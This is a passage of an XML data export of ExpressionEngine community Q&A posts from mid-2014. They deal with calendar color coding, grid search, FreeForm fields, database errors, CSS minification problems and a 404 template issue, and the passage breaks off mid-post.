  <row Id="24786" PostTypeId="1" AcceptedAnswerId="25193" CreationDate="2014-07-30T23:16:11.487" Score="0" ViewCount="210" Body="&lt;p&gt;I have a handful of events I need color coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my setup:&lt;/strong&gt; Solspace Calendar using the &lt;a href=&quot;http://arshaw.com/fullcalendar/&quot; rel=&quot;nofollow&quot;&gt;Full Calendar&lt;/a&gt; theme, and setup by using &lt;a href=&quot;http://adamrotman.com/blog/post/build-a-kick-ass-calendar-with-expressionengine-jquery/&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, everything works beautifully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am gathering events by using &lt;em&gt;multiple&lt;/em&gt; .ics files under the Calendar Module section. Each .ics file will be all the events for that category. &lt;strong&gt;&lt;em&gt;Example:&lt;/em&gt;&lt;/strong&gt; publicevents.ics would post all the Public Events, and publicmeetings.ics would post all the Public Meetings, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've created all needed categories under Admin &gt;&gt; Channel Administration &gt;&gt; Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are my questions:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I color code these events by category on the front end with this set up?&lt;/li&gt;&#xA;&lt;li&gt;How would I link each separate .ics file to a class so that it can display that color?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I can just use...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if category_id=&quot;13&quot;}&#xA;   class=&quot;category1&quot;&#xA;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...once I can figure out how to link each separate .ics file with a class? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated and thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="2902" LastActivityDate="2014-08-19T21:01:23.403" Title="Solspace color coding events by Category" Tags="|solspace|channel|solspace-calendar|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24787" PostTypeId="2" ParentId="19904" CreationDate="2014-07-31T00:50:18.873" Score="0" Body="&lt;p&gt;I just ran into this issue as well. Found this old EE1 forum post but the solution worked in EE2 for me: &lt;a href=&quot;http://ellislab.com/forums/viewthread/54933/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/54933/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;exp_members&lt;/code&gt;, the column &lt;code&gt;in_authorlist&lt;/code&gt;, set all the users that you need to be able to edit to y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be done in the CP. Edit a users profile and then under Member Preferences, check the box for &lt;code&gt;Include user in PUBLISH page multi-author list?&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="356" LastActivityDate="2014-07-31T00:50:18.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24788" PostTypeId="2" ParentId="24728" CreationDate="2014-07-31T02:42:41.717" Score="0" Body="&lt;p&gt;We discovered that this was triggered by using test@test.com as the email address in the checkout form... completely bizarre. But there you go.&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2014-07-31T02:42:41.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24789" PostTypeId="2" ParentId="6567" CreationDate="2014-07-31T03:22:24.260" Score="0" Body="&lt;p&gt;So I ran into this issue again and a recursive 777 on the /system/expressionengine/cache folder wouldn't cut it. Anyhow this was the issue/solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was setting a custom cache path in my config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cache_path'] = FCPATH.'cache/sql/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and despite that path having the proper permissions, I could not get my files to upload using the Assets add-on. I resolved the issue by simply letting Assets use the default cache path by commenting out my custom cache_path in my config.php file.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-07-31T03:22:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24790" PostTypeId="2" ParentId="24786" CreationDate="2014-07-31T04:44:20.643" Score="1" Body="&lt;p&gt;Calendar will not support the automated import/assigning of EE Categories through ICS import. You would have to enter these all in manually after the fact to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not exactly sure how your workflow is, and how you're currently using the built in &quot;calendars&quot; option (where you create and manage calendars (channel entries) that events get assigned to), but I would suggest that you use calendars as your &quot;categories&quot; if possible. And because the use of calendars is expected, you'll have much better support for that functionality throughout the Calendar add-on. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-31T04:44:20.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24791" PostTypeId="2" ParentId="24645" CreationDate="2014-07-31T06:03:03.793" Score="4" Body="&lt;p&gt;You need to create a channel field into that channel and &#xA;in channel entry, you need to assign that user group type who can access the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for eg: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have a channel (named as &quot;XYZ&quot;) and &#xA;add a new channel field (as 'group_permission'). This channel field can be drop down and you can add group listing in drop down (as group A, group B)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Go to this channel entries and you can see this new field 'group_permission'  in these all entries. Now you can assign a group type (group A or group B) in channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to add following code to check the permission for entry into template as below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;XYZ}&#xA;    {if group_permission == 'group A'}&#xA;&#xA;        //action you want to perform or redirect on other page &#xA;&#xA;    {/if}&#xA;&#xA;    {if group_permission == 'group B'}&#xA;&#xA;        //action you want to perform or redirect on other page &#xA;&#xA;    {/if}&#xA;&#xA;     // your code...&#xA;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you need to use your code like this.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-07-31T06:03:03.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24792" PostTypeId="1" AcceptedAnswerId="25016" CreationDate="2014-07-31T06:51:46.183" Score="1" ViewCount="107" Body="&lt;p&gt;I have created a channel named as 'XYZ'  and having following channel fields there :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) user_type : text &#xA;&#xA;&#xA;2) profile : grid&#xA;&#xA;    a) first_name : text &#xA;&#xA;    b) last_name :  text&#xA;&#xA;    c) user_name : text &#xA;&#xA;    d) age : text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i want to show user listing for a entry and i am having a text box in form and i want to search users from first_name or last name.&#xA;i have used following code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;xyz&quot; entry_id=1}&#xA;    {profile search:first_name=&quot;amit&quot; search:last_name=&quot;amit&quot;}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;    {/profile}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{profile search:first_name=&quot;amit&quot; search:last_name=&quot;amit&quot;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is using 'and' condition but i want to use 'or' condition.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-08-11T12:43:35.947" Title="Search tag for grid - 'or' condition on two fields/columns" Tags="|channel-entries|search|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24793" PostTypeId="1" CreationDate="2014-07-31T08:12:43.067" Score="1" ViewCount="415" Body="&lt;p&gt;Is it possible to add type attributes to inputs when using the FreeForm Composer Templates? If I hard-code a form I can add type=&quot;email&quot; or type=&quot;tel&quot; but cant see any way to do this when using Composer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally if I add attr:required=&quot;required&quot; to {freeform:field:{composer:field_name} the output is required=&quot;required&quot; which although correct for xhtml, is not correct for HTML5 - should simply be 'required'. Is there a way to alter this?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2017-10-06T22:34:43.790" Title="Possible to add type attributes when using FreeForm Composer" Tags="|solspace-freeform|solspace|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24794" PostTypeId="2" ParentId="24772" CreationDate="2014-07-31T08:59:29.747" Score="1" Body="&lt;p&gt;&lt;strong&gt;IMPORTANT NOTE&lt;/strong&gt;&#xA;As I quickly look through the database it seems that the site_id column is used all over the place, including within the entries, so there is a high chance this isn't going to work without a great deal of messing around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not confident fiddling with the database directly then it's probably best not to even try this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to do this from the Controlpanel but you &lt;em&gt;might&lt;/em&gt; be able to do it by making a change directly in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;THIS IS NOT TESTED - BACKUP YOUR DATABASE FIRST AND WORK ON A DEV VERSION OF THE SITE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're backed up. Look in the database and get the id of the site you wish to change TO from the exp_sites table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to exp_channels, find the channel you wish to move and update it's site_id value for the new channel. Don't change anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need to change the site_id value for the field group associated with the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using categories on that channel then you will need to change the site_id of the category group too. Just ensure that no other channels are using the same category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that's it but as I said &lt;strong&gt;back up your database - I make no guarantees!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-31T08:59:29.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24795" PostTypeId="1" AcceptedAnswerId="24796" CreationDate="2014-07-31T11:00:26.240" Score="0" ViewCount="87" Body="&lt;p&gt;I've got this error &lt;code&gt;You are not authorized to perform this action&lt;/code&gt; using grid field in ExpressionEngine 2.9.0&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-07-31T12:17:07.693" Title="Can submit grid field data" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24796" PostTypeId="2" ParentId="24795" CreationDate="2014-07-31T12:17:07.693" Score="1" Body="&lt;p&gt;This is a known bug in 2.9 see this bug report &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20462/&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20462/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-31T12:17:07.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24797" PostTypeId="1" CreationDate="2014-07-31T12:41:26.167" Score="0" ViewCount="294" Body="&lt;p&gt;I have a very strange error as the title suggests. I am hoping someone might have come across it and found a fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On only certain entries, if I edit them, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&#xA;&#xA;Filename: core/EE_Config.php&#xA;&#xA;Line Number: 208&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Focus Lab's config set up. Everything is working perfectly, apart from certain channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9&#xA;NginX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to visit the page on the front end I get an SQL error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1064&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND t.entry_date &amp;lt;= AND t.status = 'open' ORDER BY t.sticky desc, t.entry_date ' at line 2&#xA;&#xA;SELECT t.entry_id FROM exp_channel_titles AS t LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id WHERE t.entry_id !='' AND t.site_id IN ('1') AND t.entry_date &amp;lt; 1406809317 AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1406809317) AND t.entry_id = '33' AND t.channel_id = '1' AND t.entry_date &amp;gt;= AND t.entry_date &amp;lt;= AND t.status = 'open' ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 1&#xA;&#xA;Filename: modules/channel/mod.channel.php&#xA;&#xA;Line Number: 2161&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As mentioned, it is only certain entries and not others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have the vaguest clue?&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2014-08-07T07:54:52.317" Title="Weird 'A Database Error Occurred' when editing certain entries" Tags="|ee2|channel-entries|sql|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24798" PostTypeId="2" ParentId="24645" CreationDate="2014-07-31T12:45:32.110" Score="3" Body="&lt;p&gt;I did this exact same thing all natively with the exception of structure a few months ago. The challenge was to provide member groups access to different information on the same template with the added challenge of each member group having a state affiliation and union affiliation that they belonged to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most difficult part was a file system (think dropboxish) that showed particular documents according to state location and union access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I controlled the file from the backend using grid which used searchable checkboxes to specify member and union types. Then used EE template embeds to work the magic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;&#xA;{if State == &quot;{embed:state_name}&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;documents&quot; dynamic=&quot;yes&quot; limit=&quot;1&quot; disable=&quot;categories|pagination&quot;}&#xA;&#xA;    {folders}&#xA;&#xA;        {if folders:state_access == &quot;{embed:state_name}&quot; AND folders:union_access == &quot;All Unions&quot;}&#xA;&#xA;            {sn_directory}&#xA;&#xA;        {/if}&#xA;&#xA;    {/folders}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We need to include the {exp:member:custom_profile_data} in the embed because it is parsed AFTER the page is loaded. The union search could also be an embed variable if you wanted to loop out content on your template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{sn_directory} is a snippet I use to cache out the directory code which looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {folders:document_file}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{folders:document_file:document_file}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon icon-file&quot;&amp;gt;&amp;lt;/i&amp;gt; {folders:document_file:title}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/folders:document_file}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template I pull the information in like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;&#xA;    {if State == &quot;Alabama&quot;}&#xA;        {embed=&quot;directory/index&quot; state_name=&quot;Alabama&quot;}&#xA;    {/if}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice we're opening the custom profile data tag again. if State == represents the member's state field and the state_name references the embed variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this stage you could write something to loop that out 50 times or copy and paste it 50 times, doesn't really matter in my case but could in yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, this works, it's fast, it's reliable and easy to maintain with zero add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out embed variables at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-07-31T12:45:32.110" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24799" PostTypeId="1" CreationDate="2014-07-31T14:40:06.807" Score="0" ViewCount="45" Body="&lt;p&gt;My client's site needs to show the tutoring schedule for an individual student selected from a list (only one calendar/student at a time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have Calendar taking the input on the back end in my channel for each student, can I display it on the front end for the selected student?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is Calendar a channel field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2139" LastActivityDate="2014-08-01T04:49:16.143" Title="Can Calendar show schedules for indiviual cases?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24801" PostTypeId="2" ParentId="24674" CreationDate="2014-07-31T15:17:47.497" Score="0" Body="&lt;p&gt;Turns out the issue is more about the way the templates are being routed and using Low Variables. The solution was to pass the the variable to low variables using the preparse parameter.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-31T15:17:47.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24802" PostTypeId="1" CreationDate="2014-07-31T15:27:10.730" Score="0" ViewCount="223" Body="&lt;p&gt;I am using Minimee 2.1.12, and Bootstrap 3.2.0. When I add the bootstrap CSS file to my {exp:minimee:css} tag pair, I am getting an error &quot;ERR_CONNECTION_RESET&quot; in my browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some whittling down to the CSS file, and narrowed the issue down... This here is the smallest chunk of CSS from that file that will still cause that issue. If I remove any more, the issue doesn't occur... I don't know what about this section of CSS is causing the issue... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.table &amp;gt; thead &amp;gt; tr &amp;gt; td.active,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; td.active,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; td.active,&#xA;.table &amp;gt; thead &amp;gt; tr &amp;gt; th.active,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; th.active,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; th.active,&#xA;.table &amp;gt; thead &amp;gt; tr.active &amp;gt; td,&#xA;.table &amp;gt; tbody &amp;gt; tr.active &amp;gt; td,&#xA;.table &amp;gt; tfoot &amp;gt; tr.active &amp;gt; td,&#xA;.table &amp;gt; thead &amp;gt; tr.active &amp;gt; th,&#xA;.table &amp;gt; tbody &amp;gt; tr.active &amp;gt; th,&#xA;.table &amp;gt; tfoot &amp;gt; tr.active &amp;gt; th {&#xA;  background-color: #f5f5f5;&#xA;}&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; td.active:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; th.active:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.active:hover &amp;gt; td,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr:hover &amp;gt; .active,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.active:hover &amp;gt; th {&#xA;  background-color: #e8e8e8;&#xA;}&#xA;.table &amp;gt; thead &amp;gt; tr &amp;gt; td.success,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; td.success,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; td.success,&#xA;.table &amp;gt; thead &amp;gt; tr &amp;gt; th.success,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; th.success,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; th.success,&#xA;.table &amp;gt; thead &amp;gt; tr.success &amp;gt; td,&#xA;.table &amp;gt; tbody &amp;gt; tr.success &amp;gt; td,&#xA;.table &amp;gt; tfoot &amp;gt; tr.success &amp;gt; td,&#xA;.table &amp;gt; thead &amp;gt; tr.success &amp;gt; th,&#xA;.table &amp;gt; tbody &amp;gt; tr.success &amp;gt; th,&#xA;.table &amp;gt; tfoot &amp;gt; tr.success &amp;gt; th {&#xA;  background-color: #dff0d8;&#xA;}&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; td.success:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; th.success:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.success:hover &amp;gt; td,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr:hover &amp;gt; .success,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.success:hover &amp;gt; th {&#xA;  background-color: #d0e9c6;&#xA;}&#xA;.table &amp;gt; thead &amp;gt; tr &amp;gt; td.info,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; td.info,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; td.info,&#xA;.table &amp;gt; thead &amp;gt; tr &amp;gt; th.info,&#xA;.table &amp;gt; tbody &amp;gt; tr &amp;gt; th.info,&#xA;.table &amp;gt; tfoot &amp;gt; tr &amp;gt; th.info,&#xA;.table &amp;gt; thead &amp;gt; tr.info &amp;gt; td,&#xA;.table &amp;gt; tbody &amp;gt; tr.info &amp;gt; td,&#xA;.table &amp;gt; tfoot &amp;gt; tr.info &amp;gt; td,&#xA;.table &amp;gt; thead &amp;gt; tr.info &amp;gt; th,&#xA;.table &amp;gt; tbody &amp;gt; tr.info &amp;gt; th,&#xA;.table &amp;gt; tfoot &amp;gt; tr.info &amp;gt; th {&#xA;  background-color: #d9edf7;&#xA;}&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; td.info:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr &amp;gt; th.info:hover,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.info:hover &amp;gt; td,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr:hover &amp;gt; .info,&#xA;.table-hover &amp;gt; tbody &amp;gt; tr.info:hover &amp;gt; th {&#xA;  background-color: #c4e3f3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That CSS doesn't break the site unless it's within my minimee tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-07-31T20:03:46.717" Title="Twitter Bootstrap CSS breaks Minimee" Tags="|css|twitter-bootstrap|minimee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24803" PostTypeId="1" CreationDate="2014-07-31T15:33:19.113" Score="1" ViewCount="657" Body="&lt;p&gt;In EE1 part of our workflow was to upload images and store just the path to them in the a text field.  Sometimes this images were uploaded in the control panel and sometimes when there were dozens of them they were uploaded via SFTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we uploaded through the control panel we used the &quot;URL Only&quot; option.&lt;img src=&quot;https://i.stack.imgur.com/4hYwS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2 introduced the File Field type which is a nice feature BUT they also took away the ability to get &quot;URL Only&quot; on upload.  &lt;code&gt;/images/folder/imagename.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my limited use of EE 2.8.1 when you upload an image you can only get the whole image tag &lt;code&gt;&amp;lt;img src=&quot;/images/folder/imagename.png&quot;&amp;gt;&lt;/code&gt; AND you can only get the image to appear in a textarea not in a text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I overlooking something? Is there a way to recover the former functionality?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-07-31T17:50:39.533" Title="Upload image and get &quot;URL Only&quot; in text field" Tags="|file-uploads|image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24804" PostTypeId="2" ParentId="24803" CreationDate="2014-07-31T15:44:04.093" Score="1" Body="&lt;p&gt;Unfortunately not - you'll have to place the link to the file in the field, then remove the extraneous markup manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real solution here is to use &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-31T15:44:04.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24805" PostTypeId="1" AcceptedAnswerId="24816" CreationDate="2014-07-31T15:59:18.623" Score="0" ViewCount="76" Body="&lt;p&gt;I've been asked to create a competition module for EE.&#xA;I think that it'd be best to have the module create a new channel and custom fields. I can create my own tables and have a nice separate area, but I think it'd be better to have the user simply go to: create channel competition.. etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible from a module?&#xA;I can't find any info on 'automating' channel creation..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is a dumb Q.. I've not used EE in a while..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tris..&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2014-07-31T19:59:42.553" Title="creating channels / custome fields via a module" Tags="|custom-fields|multiple-channels|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24806" PostTypeId="1" CreationDate="2014-07-31T16:10:14.730" Score="0" ViewCount="147" Body="&lt;p&gt;We have created a template called /site/404. The site is working correctly as far as pulling articles, and content properly for all of our different URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we go to either a template that does not exist, or a URL segment that is beyond the scope of an entry, our 404 page is showing up. However, also appended to it is the home page at the bottom. When logged in either as an &quot;Super Admin&quot; or when debugging is enabled, we get a PHP error below the 404 page, then the home page is appended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jpf2b.png&quot; alt=&quot;PHP Error on 404 Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin, we've updated our Global Template preferences as the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GrzPh.png&quot; alt=&quot;Global Template Preferences Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using Rob Sanchez's Resource Router (&lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rsanchez/resource_router&lt;/a&gt;) to allow multiple URLs to use the same template without resorting to EE's pages module. I've gone through and disabled that, as well as all of the modules to see if that would fix the issue, and it hasn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE2.9, but upgraded from 2.8. Again, things are working well with everything but our 404 page. We were having the same issue on 2.8 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is our .HTACCESS file, just so that we can alleviate that. Its been copied form Ellis Lab's official support page. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 /site/404&#xA;&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png|pdf|ttf|woff) [NC]&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we remove all of our code in the home page template, our PHP error stays, but obviously the appended home page goes away. We also then don't have a home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if we remove all of the code in our 404 template, the 404 page goes away, but the PHP error stays at the top and the home page content is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our 404 template is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/header&quot; entry_title=&quot;Page Not Found&quot; body_class=&quot;&quot;}&#xA;&#xA;&amp;lt;div class=&quot;main-content&quot; role=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;panel masthead&quot;&amp;gt;&#xA;            